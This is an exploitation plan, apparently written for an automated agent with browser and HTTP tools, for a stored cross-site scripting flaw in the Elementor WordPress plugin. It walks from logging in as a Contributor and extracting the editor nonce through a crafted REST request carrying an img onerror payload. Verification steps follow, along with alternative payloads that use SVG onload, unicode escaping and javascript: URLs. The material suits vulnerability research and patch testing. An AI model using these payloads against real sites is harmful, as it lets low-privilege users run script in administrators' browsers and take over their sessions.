Exploitation Research Plan: CVE-2025-14732

1. Vulnerability Summary

CVE-2025-14732 is a Stored Cross-Site Scripting (XSS) vulnerability in the Elementor Website Builder plugin (versions <= 3.35.5). The vulnerability arises from improper neutralization of "alternate XSS syntax" (e.g., HTML event handlers, SVG tags, or Unicode-escaped characters) within widget parameters saved via the Elementor REST API.

While Elementor performs sanitization on common tags like <script>, it fails to sufficiently sanitize or escape input for certain widget settings when saved through its internal REST API. This allows an authenticated user with at least Contributor-level access to inject malicious scripts into a page's metadata. When that page is viewed by other users (including administrators), the script executes in their browser context.

2. Attack Vector Analysis

• Endpoint: /wp-json/elementor/v1/editor/save-builder-data (inferred from Elementor REST API architecture).
• Method: POST
• Vulnerable Parameter: The data parameter within the JSON payload, specifically settings within widget definitions (e.g., heading, button, icon-box).
• Authentication: Requires a user with Contributor role or higher who has permission to edit the specific post/page.
• Preconditions: Elementor must be active on the target post type.

3. Code Flow

1. Entry Point: The user interacts with the Elementor Editor. When "Update" or "Save" is clicked, the JS client sends a request to the REST API route elementor/v1/editor/save-builder-data.
2. Server-Side Processing: The request is handled by Elementor's REST controller. It receives a JSON-encoded string representing the layout (sections, columns, widgets).
3. Vulnerable Sink: The plugin processes the settings object for each widget. It uses internal sanitization methods (often found in Core\Base\Document::save_data). If the input contains "alternate syntax" (like event handlers in an <img> tag or encoded payloads), it bypasses the filters.
4. Storage: The unsanitized/partially sanitized data is stored in the WordPress database as post metadata under the key _elementor_data.
5. Execution: When the page is rendered on the frontend or re-loaded in the editor, Elementor's rendering engine outputs the malicious settings. If the widget renderer does not use proper escaping (like esc_attr() or wp_kses()) for the specific setting, the script triggers.

4. Nonce Acquisition Strategy

Elementor requires a REST API nonce for its editor operations. This nonce is typically localized and provided to the browser when the editor loads.

• Target Page: A page or post where Elementor is enabled.
• JavaScript Variable: window.elementorConfig.ajax.nonce or window.elementorCommon.config.ajax.nonce.
• Acquisition Steps:
  1. Create a post as a Contributor.
  2. Enable Elementor for that post.
  3. Navigate to the Elementor Editor URL for that post: wp-admin/post.php?post=[ID]&action=elementor.
  4. Use browser_eval to extract the nonce:

     browser_eval("window.elementorConfig?.ajax?.nonce || window.elementorCommon?.config?.ajax?.nonce")
     

5. Exploitation Strategy

The goal is to send a manual REST API request to save malicious widget data.

Step 1: Authentication & Setup

1. Log in as a Contributor.
2. Identify a Post ID (target_post_id) the contributor can edit.

Step 2: Nonce Extraction

1. Navigate to the Elementor editor for the post.
2. Extract the nonce using the method in Section 4.

Step 3: Crafting the Payload

The payload must be a JSON array of Elementor elements. We will target the heading widget as it is a standard component.

Payload JSON (data parameter):

[
  {
    "id": "exploit-id",
    "elType": "widget",
    "widgetType": "heading",
    "settings": {
      "title": "<img src=x onerror=alert('CVE-2025-14732')>",
      "size": "default"
    },
    "elements": [],
    "isInner": false
  }
]

Step 4: HTTP Request (using http_request)

URL: https://[TARGET]/wp-json/elementor/v1/editor/save-builder-data
Headers:

• Content-Type: application/json
• X-WP-Nonce: [EXTRACTED_NONCE]
• Cookie: [CONTRIBUTOR_COOKIES]

Body:

{
  "post_id": target_post_id,
  "data": "[{\"id\":\"exploit-id\",\"elType\":\"widget\",\"widgetType\":\"heading\",\"settings\":{\"title\":\"<img src=x onerror=alert('CVE-2025-14732')>\"},\"elements\":[],\"isInner\":false}]"
}

6. Test Data Setup

1. User: Create a user attacker with the contributor role.
2. Post: Create a post titled "XSS Test" by attacker.
3. Elementor Enablement: Ensure Elementor is active for the "post" post type.

7. Expected Results

• REST Response: The server should return 200 OK with a JSON body indicating success (e.g., {"success": true, "data": []}).
• Frontend Execution: When an administrator visits https://[TARGET]/?p=[target_post_id], an alert box with CVE-2025-14732 will appear.
• Editor Execution: When the administrator opens the post in the Elementor editor, the script will also trigger.

8. Verification Steps

1. Check Database: Use WP-CLI to verify the stored metadata:

   wp post meta get [target_post_id] _elementor_data
   

   Confirm the payload <img src=x onerror=...> exists in the output.
2. Verify Payload Rendering: Check the HTML source of the post frontend:

   http_request "https://[TARGET]/?p=[target_post_id]"
   

   Search for the injected <img> tag in the response body.

9. Alternative Approaches

If the standard <img> tag is blocked by a global WAF or internal Elementor filter, use "alternate syntax":

1. SVG-based Payload:
   "title": "<svg/onload=alert(1)>"
2. Unicode Escaping (if the API parses JSON twice):
   "title": "\u003cimg src=x onerror=alert(1)\u003e"
3. Attribute Injection:
   Instead of the title parameter, target a URL parameter that might be placed inside an attribute:
   "link": {"url": "javascript:alert(1)", "is_external": "", "nofollow": ""}
   (Note: esc_url usually blocks javascript:, but some widget attributes might use esc_attr instead).